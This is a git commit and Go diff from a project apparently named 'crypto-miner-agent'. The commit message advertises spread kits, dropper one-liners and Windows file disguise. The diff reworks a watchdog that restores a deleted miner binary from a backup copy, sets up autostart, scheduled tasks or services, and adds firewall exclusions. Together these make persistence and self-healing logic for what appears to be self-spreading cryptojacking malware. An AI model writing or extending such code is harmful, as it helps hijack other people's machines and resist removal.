Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -9,8 +9,6 @@ import (
"crypto-miner-agent/config"
)
const backupSuffix = ".bak"
// StartWatchdog keeps persistence and the installed binary healthy.
func StartWatchdog(cfg config.RuntimeConfig) {
if !cfg.SelfHealing {
@@ -32,12 +30,12 @@ func maintainInstall(cfg config.RuntimeConfig) error {
if err != nil {
return err
}
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
backupExe := installedExe + backupSuffix
installedBin := filepath.Join(installDir, BinaryName(cfg))
backupBin := installedBin + backupSuffix
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
if _, statErr := os.Stat(backupExe); statErr == nil {
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
if _, err := os.Stat(installedBin); os.IsNotExist(err) {
if _, statErr := os.Stat(backupBin); statErr == nil {
if copyErr := copyFile(backupBin, installedBin); copyErr != nil {
return copyErr
}
log.Printf("[watchdog] restored missing binary from backup")
@@ -45,25 +43,17 @@ func maintainInstall(cfg config.RuntimeConfig) error {
}
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
if err := configureAutoStart(cfg, installedExe); err != nil {
if err := configureAutoStart(cfg, installedBin); err != nil {
return err
}
}
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
if err := createScheduledTask(cfg, installedExe); err != nil {
if err := configureRunMode(cfg, installedBin); err != nil {
return err
}
}
if cfg.FirewallExclusion {
EnsureFirewallExclusion(cfg, installedExe)
EnsureFirewallExclusion(cfg, installedBin)
}
return nil
}
func saveBackup(installedExe string) error {
backup := installedExe + backupSuffix
if _, err := os.Stat(backup); err == nil {
return nil
}
return copyFile(installedExe, backup)
}